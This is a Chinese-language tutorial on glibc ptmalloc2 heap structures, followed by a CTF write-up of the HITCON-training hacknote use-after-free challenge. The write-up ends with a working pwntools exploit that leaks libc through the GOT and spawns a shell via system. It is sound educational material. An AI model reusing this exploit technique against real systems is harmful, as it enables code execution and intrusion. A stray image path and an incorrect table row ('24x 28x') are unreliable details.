堆&Use After Free

堆&Use After Free

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堆概述

什么是堆

在程序运行过程中，堆可以提供动态分配的内存，允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域，它由低地址向高地址方向增长。

我们一般称管理堆的那部分程序为堆管理器。

堆管理器处于用户程序与内核中间，主要做以下工作

1. 响应用户的申请内存请求，向操作系统申请内存，然后将其返回给用户程序。同时，为了保持内存管理的高效性，内核一般都会预先分配很大的一块连续的内存，然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况，堆管理器才会再次与操作系统进行交互。
2. 管理用户所释放的内存。一般来说，用户释放的内存并不是直接返还给操作系统的，而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。

目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器：ptmalloc2。ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。

需要注意的是，在内存分配与使用的过程中，Linux 有这样的一个基本内存管理思想，只有当真正访问一个地址的时候，系统才会建立虚拟页面与物理页面的映射关系。 所以虽然操作系统已经给程序分配了很大的一块内存，但是这块内存其实只是虚拟内存。只有当用户使用到相应的内存时，系统才会真正分配物理页面给用户使用。

堆的基本操作

这里我们主要介绍

• 基本的堆操作，包括堆的分配，回收，堆分配背后的系统调用
• 介绍堆目前的多线程支持。

1.malloc

在 glibc 的 malloc.c 中，malloc 的说明如下

/*
  malloc(size_t n)
  Returns a pointer to a newly allocated chunk of at least n bytes, or null
  if no space is available. Additionally, on failure, errno is
  set to ENOMEM on ANSI C systems.
  If n is zero, malloc returns a minumum-sized chunk. (The minimum
  size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit
  systems.)  On most systems, size_t is an unsigned type, so calls
  with negative arguments are interpreted as requests for huge amounts
  of space, which will often fail. The maximum supported value of n
  differs across systems, but is in all cases less than the maximum
  representable value of a size_t.
*/

可以看出，malloc 函数返回对应大小字节的内存块的指针。此外，该函数还对一些异常情况进行了处理

• 当 n=0 时，返回当前系统允许的堆的最小内存块。
• 当 n 为负数时，由于在大多数系统上，size_t 是无符号数（这一点非常重要），所以程序就会申请很大的内存空间，但通常来说都会失败，因为系统没有那么多的内存可以分配。

2.free

在 glibc 的 malloc.c 中，free 的说明如下

/*
   free(void* p)
   Releases the chunk of memory pointed to by p, that had been previously
   allocated using malloc or a related routine such as realloc.
   It has no effect if p is null. It can have arbitrary (i.e., bad!)
   effects if p has already been freed.
   Unless disabled (using mallopt), freeing very large spaces will
   when possible, automatically trigger operations that give
   back unused memory to the system, thus reducing program footprint.
 */

可以看出，free 函数会释放由 p 所指向的内存块。这个内存块有可能是通过 malloc 函数得到的，也有可能是通过相关的函数 realloc 得到的。

此外，该函数也同样对异常情况进行了处理

• 当 p 为空指针时，函数不执行任何操作。

• 当 p 已经被释放之后，再次释放会出现乱七八糟的效果，这其实就是 double free。

• 除了被禁用 (mallopt) 的情况下，当释放很大的内存空间时，程序会将这些内存空间还给系统，以便于减小程序所使用的内存空间。

  ​

  ​

3.申请内存的系统调用

堆相关数据结构

堆的操作就这么复杂，那么在 glibc 内部必然也有精心设计的数据结构来管理它。与堆相应的数据结构主要分为

• 宏观结构，包含堆的宏观信息，可以通过这些数据结构索引堆的基本信息。
• 微观结构，用于具体处理堆的分配与回收中的内存块。

微观结构

这里首先介绍堆中比较细节的结构，堆的漏洞利用与这些结构密切相关。

malloc_chunk

概述

在程序的执行过程中，我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后，会被加入到相应的空闲管理列表中。

非常有意思的是，无论一个 chunk 的大小如何，处于分配状态还是释放状态，它们都使用一个统一的结构。虽然它们使用了同一个数据结构，但是根据是否被释放，它们的表现形式会有所不同。

malloc_chunk 的结构如下

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

一般来说，size_t 在 64 位中是 64 位无符号整数，32 位中是 32 位无符号整数。

每个字段的具体的解释如下

• prev_size, 如果该 chunk 的**物理相邻的前一地址 chunk（两个指针的地址差值为前一 chunk 大小）**是空闲的话，那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则，该字段可以用来存储物理相邻的前一个 chunk 的数据。**这里的前一 chunk 指的是较低地址的 chunk **。

• size

  该 chunk 的大小，大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍，会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中，SIZE_SZ 是 4；64 位系统中，SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响，它们从高到低分别表示

  • NON_MAIN_ARENA，记录当前 chunk 是否不属于主线程，1 表示不属于，0 表示属于。
  • IS_MAPPED，记录当前 chunk 是否是由 mmap 分配的。
  • PREV_INUSE，记录前一个 chunk 块是否被分配。一般来说，堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1，以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时，我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。

• fd，bk

  chunk 处于分配状态时，从 fd 字段开始是用户的数据。chunk 空闲时，会被添加到对应的空闲管理链表中，其字段的含义如下

  • fd 指向下一个（非物理相邻）空闲的 chunk
  • bk 指向上一个（非物理相邻）空闲的 chunk
  • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理

• fd_nextsize， bk_nextsize

，也是只有 chunk 空闲的时候才使用，不过其用于较大的 chunk（large chunk）。

• fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。
• bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。
• 一般空闲的 large chunk 在 fd 的遍历顺序中，按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header，后面的部分称为 user data。每次 malloc 申请得到的内存指针，其实指向 user data 的起始处。

当一个 chunk 处于使用状态时，它的下一个 chunk 的 prev_size 域无效，所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if unallocated (P clear)  |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                     |A|M|P|
  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
next    .                                                               |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             (size of chunk, but used for application data)    |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of next chunk, in bytes                |A|0|1|
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

被释放的 chunk 被记录在链表中（可能是循环双向链表，也可能是单向链表）。具体结构如下

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if unallocated (P clear)  |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' |             Size of chunk, in bytes                     |A|0|P|
  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Forward pointer to next chunk in list             |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Back pointer to previous chunk in list            |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Unused space (may be 0 bytes long)                .
        .                                                               .
 next   .                                                               |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' |             Size of chunk, in bytes                           |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of next chunk, in bytes                |A|0|0|
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

可以发现，如果一个 chunk 处于 free 状态，那么会有两个位置记录其相应的大小

1. 本身的 size 字段会记录，
2. 它后面的 chunk 会记录。

一般情况下，物理相邻的两个空闲 chunk 会被合并为一个 chunk 。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk 块。

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bin

概述

我们说过，用户释放掉的 chunk 不会马上归还给系统，ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的 chunk。当用户再一次请求分配内存时，ptmalloc 分配器会试图在空闲的 chunk 中挑选一块合适的给用户。这样可以避免频繁的系统调用，降低内存分配的开销。

在具体的实现中，ptmalloc 采用分箱式方法对空闲的 chunk 进行管理。首先，它会根据空闲的 chunk 的大小以及使用状态将 chunk 初步分为 4 类：fast bins，small bins，large bins，unsorted bin。每类中仍然有更细的划分，相似大小的 chunk 会用双向链表链接起来。也就是说，在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。

对于 small bins，large bins，unsorted bin 来说，ptmalloc 将它们维护在同一个数组中。

数组中的 bin 依次如下

1. 第一个为 unsorted bin，字如其面，这里面的 chunk 没有进行排序，存储的 chunk 比较杂。
2. 索引从 2 到 63 的 bin 称为 small bin，同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为** 2 个机器字长**，即 32 位相差 8 字节，64 位相差 16 字节。
3. small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk，其中的 chunk 按 fd 指针的顺序从大到小排列。相同大小的 chunk 同样按照最近使用顺序排列。

此外，上述这些 bin 的排布都会遵循一个原则：任意两个物理相邻的空闲 chunk 不能在一起。

需要注意的是，并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配的速度，会把一些小的 chunk 先放到 fast bins 的容器内。而且，fastbin 容器中的 chunk 的使用标记总是被置位的，所以不满足上面的原则。

Fast Bin

大多数程序经常会申请以及释放一些比较小的内存块。如果将一些较小的 chunk 释放之后发现存在与之相邻的空闲的 chunk 并将它们进行合并，那么当下一次再次申请相应大小的 chunk 时，就需要对 chunk 进行分割，这样就大大降低了堆的利用效率。**因为我们把大部分时间花在了合并、分割以及中间检查的过程中。**因此，ptmalloc 中专门设计了 fast bin，对应的变量就是 malloc state 中的 fastbinsY

/*
   Fastbins

    An array of lists holding recently freed small chunks.  Fastbins
    are not doubly linked.  It is faster to single-link them, and
    since chunks are never removed from the middles of these lists,
    double linking is not necessary. Also, unlike regular bins, they
    are not even processed in FIFO order (they use faster LIFO) since
    ordering doesn't much matter in the transient contexts in which
    fastbins are normally used.

    Chunks in fastbins keep their inuse bit set, so they cannot
    be consolidated with other free chunks. malloc_consolidate
    releases all chunks in fastbins and consolidates them with
    other free chunks.
 */
typedef struct malloc_chunk *mfastbinptr;

/*
    This is in malloc_state.
    /* Fastbins */
    mfastbinptr fastbinsY[ NFASTBINS ];
*/

为了更加高效地利用 fast bin，glibc 采用单向链表对其中的每个 bin 进行组织，并且每个 bin 采取 LIFO 策略，最近释放的 chunk 会更早地被分配，所以会更加适合于局部性。也就是说，当用户需要的 chunk 的大小小于 fastbin 的最大大小时， ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块，如果有的话，就会直接从这个 bin 中获取 chunk。如果没有的话，ptmalloc 才会做接下来的一系列操作。

需要特别注意的是，fastbin 范围的 chunk 的 inuse 始终被置为 1。因此它们不会和其它被释放的 chunk 合并。

Small Bin

small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为：chunk_size = 2 * SIZE_SZ *index，具体如下

下标	SIZE_SZ=4（32 位）	SIZE_SZ=8（64 位）
2	16	32
3	24	48
4	32	64
5	40	80
x	24x	28x
63	504	1008

small bins 中一共有 62 个循环双向链表，每个链表中存储的 chunk 大小都一致。比如对于 32 位系统来说，下标 2 对应的双向链表中存储的 chunk 大小为均为 16 字节。每个链表都有链表头结点，这样可以方便对于链表内部结点的管理。此外，small bins 中每个 bin 对应的链表采用 FIFO 的规则，所以同一个链表中先被释放的 chunk 会先被分配出去。

或许，大家会很疑惑，那 fastbin 与 small bin 中 chunk 的大小会有很大一部分重合啊，那 small bin 中对应大小的 bin 是不是就没有什么作用啊？ 其实不然，fast bin 中的 chunk 是有可能被放到 small bin 中去的。

Large Bin

large bins 中一共包括 63 个 bin，每个 bin 中的 chunk 的大小不一致，而是处于一定区间范围内。此外，这 63 个 bin 被分成了 6 组，每组 bin 中的 chunk 大小之间的公差一致，具体如下：

组	数量	公差
1	32	64B
2	16	512B
3	8	4096B
4	4	32768B
5	2	262144B
6	1	不限制

这里我们以 32 位平台的 large bin 为例，第一个 large bin 的起始 chunk 大小为 512 字节，位于第一组，所以该 bin 可以存储的 chunk 的大小范围为 [512,512+64)。

关于 large bin 的宏如下，这里我们以 32 位平台下，第一个 large bin 的起始 chunk 大小为例，为 512 字节，那么 512>>6 = 8，所以其下标为 56+8=64。

Unsorted Bin

unsorted bin 可以视为空闲 chunk 回归其所属 bin 之前的缓冲区。

其在 glibc 中具体的说明如下

/*
   Unsorted chunks

    All remainders from chunk splits, as well as all returned chunks,
    are first placed in the "unsorted" bin. They are then placed
    in regular bins after malloc gives them ONE chance to be used before
    binning. So, basically, the unsorted_chunks list acts as a queue,
    with chunks being placed on it in free (and malloc_consolidate),
    and taken off (to be either used or placed in bins) in malloc.

    The NON_MAIN_ARENA flag is never set for unsorted chunks, so it
    does not have to be taken into account in size comparisons.
 */

从下面的宏我们可以看出

/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M) (bin_at(M, 1))

unsorted bin 处于我们之前所说的 bin 数组下标 1 处。故而 unsorted bin 只有一个链表。unsorted bin 中的空闲 chunk 处于乱序状态，主要有两个来源

• 当一个较大的 chunk 被分割成两半后，如果剩下的部分大于 MINSIZE，就会被放到 unsorted bin 中。
• 释放一个不属于 fast bin 的 chunk，并且该 chunk 不和 top chunk 紧邻时，该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释，请参考下面的介绍。

此外，Unsorted Bin 在使用的过程中，采用的遍历顺序是 FIFO 。

Top Chunk

glibc 中对于 top chunk 的描述如下

/*
   Top

    The top-most available chunk (i.e., the one bordering the end of
    available memory) is treated specially. It is never included in
    any bin, is used only if no other chunk is available, and is
    released back to the system if it is very large (see
    M_TRIM_THRESHOLD).  Because top initially
    points to its own bin with initial zero size, thus forcing
    extension on the first malloc request, we avoid having any special
    code in malloc to check whether it even exists yet. But we still
    need to do so when getting memory from system, so we make
    initial_top treat the bin as a legal but unusable chunk during the
    interval between initialization and the first call to
    sysmalloc. (This is somewhat delicate, since it relies on
    the 2 preceding words to be zero during this interval as well.)
 */

/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks(M))

程序第一次进行 malloc 的时候，heap 会被分为两块，一块给用户，剩下的那块就是 top chunk。其实，所谓的 top chunk 就是处于当前堆的物理地址最高的 chunk。这个 chunk 不属于任何一个 bin，它的作用在于**当所有的 bin 都无法满足用户请求的大小时，如果其大小不小于指定的大小，就进行分配，并将剩下的部分作为新的 top chunk。否则，就对 heap 进行扩展后再进行分配。**在 main arena 中通过 sbrk 扩展 heap，而在 thread arena 中通过 mmap 分配新的 heap。

需要注意的是，top chunk 的 prev_inuse 比特位始终为 1，否则其前面的 chunk 就会被合并到 top chunk 中。

初始情况下，我们可以将 unsorted chunk 作为 top chunk。

宏观结构

arena

内存分配区，可以理解为堆管理器所持有的内存池

操作系统 --> 堆管理器 --> 用户

物理内存 --> arena --> 可用内存

堆管理器与用户的内存交易发生于arena中，可以理解为堆管理器向操作系统批发来的有冗余的内存库存

arena 数量

对于不同系统，arena 数量的约束如下

For 32 bit systems:
     Number of arena = 2 * number of cores.
For 64 bit systems:
     Number of arena = 8 * number of cores.

显然，不是每一个线程都会有对应的 arena。此外，因为每个系统的核数是有限的，当线程数大于核数的二倍（超线程技术）时，就必然有线程处于等待状态，所以没有必要为每个线程分配一个 arena。

heap_info

程序刚开始执行时，每个线程是没有 heap 区域的。当其申请内存时，就需要一个结构来记录对应的信息，而 heap_info 的作用就是这个。而且当该 heap 的资源被使用完后，就必须得再次申请内存了。此外，一般申请的 heap 是不连续的，因此需要记录不同 heap 之间的链接结构。

该数据结构是专门为从 Memory Mapping Segment 处申请的内存准备的，即为非主线程准备的。

主线程可以通过 sbrk() 函数扩展 program break location 获得（直到触及 Memory Mapping Segment），只有一个 heap，没有 heap_info 数据结构。

heap_info 的主要结构如下

#define HEAP_MIN_SIZE (32 * 1024)
#ifndef HEAP_MAX_SIZE
# ifdef DEFAULT_MMAP_THRESHOLD_MAX
#  define HEAP_MAX_SIZE (2 * DEFAULT_MMAP_THRESHOLD_MAX)
# else
#  define HEAP_MAX_SIZE (1024 * 1024) /* must be a power of two */
# endif
#endif

/* HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps
   that are dynamically created for multi-threaded programs.  The
   maximum size must be a power of two, for fast determination of
   which heap belongs to a chunk.  It should be much larger than the
   mmap threshold, so that requests with a size just below that
   threshold can be fulfilled without creating too many heaps.  */

/***************************************************************************/

/* A heap is a single contiguous memory region holding (coalesceable)
   malloc_chunks.  It is allocated with mmap() and always starts at an
   address aligned to HEAP_MAX_SIZE.  */

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

该结构主要是描述堆的基本信息，包括

• 堆对应的 arena 的地址
• 由于一个线程申请一个堆之后，可能会使用完，之后就必须得再次申请。因此，一个线程可能会有多个堆。prev 即记录了上一个 heap_info 的地址。这里可以看到每个堆的 heap_info 是通过单向链表进行链接的。
• size 表示当前堆的大小
• 最后一部分确保对齐

看起来该结构应该是相当重要的，但是如果如果我们仔细看完整个 malloc 的实现的话，就会发现它出现的频率并不高。

malloc_state

该结构用于管理堆，记录每个 arena 当前申请的内存的具体状态，比如说是否有空闲 chunk，有什么大小的空闲 chunk 等等。无论是 thread arena 还是 main arena，它们都只有一个 malloc state 结构。由于 thread 的 arena 可能有多个，malloc state 结构会在最新申请的 arena 中。

注意，main arena 的 malloc_state 并不是 heap segment 的一部分，而是一个全局变量，存储在 libc.so 的数据段。

其结构如下

struct malloc_state {
    /* Serialize access.  */
    __libc_lock_define(, mutex);

    /* Flags (formerly in max_fast).  */
    int flags;

    /* Fastbins */
    mfastbinptr fastbinsY[ NFASTBINS ];

    /* Base of the topmost chunk -- not otherwise kept in a bin */
    mchunkptr top;

    /* The remainder from the most recent split of a small request */
    mchunkptr last_remainder;

    /* Normal bins packed as described above */
    mchunkptr bins[ NBINS * 2 - 2 ];

    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
    unsigned int binmap[ BINMAPSIZE ];

    /* Linked list, points to the next arena */
    struct malloc_state *next;

    /* Linked list for free arenas.  Access to this field is serialized
       by free_list_lock in arena.c.  */
    struct malloc_state *next_free;

    /* Number of threads attached to this arena.  0 if the arena is on
       the free list.  Access to this field is serialized by
       free_list_lock in arena.c.  */
    INTERNAL_SIZE_T attached_threads;

    /* Memory allocated from the system in this arena.  */
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
};

• __libc_lock_define(, mutex);

  • 该变量用于控制程序串行访问同一个分配区，当一个线程获取了分配区之后，其它线程要想访问该分配区，就必须等待该线程分配完成后才能够使用。

• flags

  • flags 记录了分配区的一些标志，比如 bit0 记录了分配区是否有 fast bin chunk ，bit1 标识分配区是否能返回连续的虚拟地址空间。

• fastbinsY[NFASTBINS]

  • 存放每个 fast chunk 链表头部的指针

• top

  • 指向分配区的 top chunk

• last_reminder

  • 最新的 chunk 分割之后剩下的那部分

• bins

  • 用于存储 unstored bin，small bins 和 large bins 的 chunk 链表。

• binmap

  • ptmalloc 用一个 bit 来标识某一个 bin 中是否包含空闲 chunk 。

Use After Free

概述

简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

• 内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。
• 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
• 内存块被释放后，其对应的指针没有被设置为NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。

例题

HITCON-training 中的 lab 10 hacknote

题目分析

menu()

int menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

main()

void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      delete();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

add()

unsigned int add()
{
  _DWORD *current_control_chunk; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( note_count <= 5 )                        // note 数量不超过5个
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !note_list[i] )
      {
        note_list[i] = malloc(8u);
        if ( !note_list[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)note_list[i] = self_puts;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        current_control_chunk = note_list[i];
        current_control_chunk[1] = malloc(size);
        if ( !*((_DWORD *)note_list[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)note_list[i] + 1), size);
        puts("Success !");
        ++note_count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

每一个note生成的具体流程如下：

1. 程序申请8字节内存用来存放note中的self_puts以及content指针。
2. 程序根据输入的size来申请指定大小的内存，然后用来存储content。

delete()

unsigned int delete()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= note_count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( note_list[index] )
  {
    free(*((void **)note_list[index] + 1));
    free(note_list[index]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

delete比较简单，就是通过调用两次free函数，释放add函数中申请的空间，但是指针仍然存在，存在UAF漏洞。

print_note

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= note_count )
  {
    puts("Out of bound!");
    _exit(0);
  }![delete](C:\Users\aoao\Desktop\delete.png)![delete](C:\Users\aoao\Desktop\delete.png)
  if ( note_list[index] )
    (*(void (__cdecl **)(void *))note_list[index])(note_list[index]);
  return __readgsdword(0x14u) ^ v3;
}

重点就是一行代码，

(*(void (__cdecl **)(void *))note_list[index])(note_list[index]);

调用self_puts函数，参数为自身，打印content内容

漏洞利用

设想进行如下的操作：

1. 先add_note()，并申请一块size=16的空间，content填写垃圾数据

2. 再add_note()，并申请一块size=16的空间，content填写垃圾数据

3. delete(0),delete_note(1)，整体结构如图：

4. 再add()，并申请一块size=8的content，content为self_put_addr+put@got。首先add需要8byte控制信息chunk，由于 LIFO 策略会使用note[1]被释放的8byte空间。由于申请的content的chunk大小还是8byte，则note_list[0]被释放8byte被使用，如下图所示：

   ​

​

5. print_note(0)，利用泄露出的puts的加载地址，使用libcsearcher寻找对应的库，获得system 的地址。
6. delete(2)，再add()，并申请一块size=8的空间，content为system_addr+“||sh”
7. 最后，调用print_note(0)，执行system(“system_addr||sh”）

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
io=process("./hacknote")
elf=ELF("./hacknote")
def BK():
    gdb.attach(io) 

def add(size,content):
    io.sendlineafter(b'Your choice :',b'1')
    io.sendlineafter(b'Note size :',size)
    io.sendlineafter(b'Content :',content)

def print_note(index):
    io.sendlineafter(b'Your choice :',b'3')
    io.sendlineafter(b'Index :',index)

def delete(index):
    io.sendlineafter(b'Your choice :',b'2')
    io.sendlineafter(b'Index :',index)

def pwn():
    add(b'16', cyclic(8))
    add(b'16', cyclic(8))
    delete(b'0')
    delete(b'1')

    puts_func_addr = 0x804862B
    puts_got = elf.got['puts']
    payload = p32(puts_func_addr) + p32(puts_got)
    add(b'8', payload)
    print_note(b'0')
    put_addr = u32(io.recv(4))
    
    libc=LibcSearcher('puts',put_addr)
    libc_base=put_addr-libc.dump('puts')
    system_addr=libc_base+libc.dump('system')

    delete(b'2')
    
    payload = p32(system_addr) + b"||sh"
    add(b'8', payload)
    print_note(b'0')
    io.interactive()

if __name__ == '__main__':
    pwn()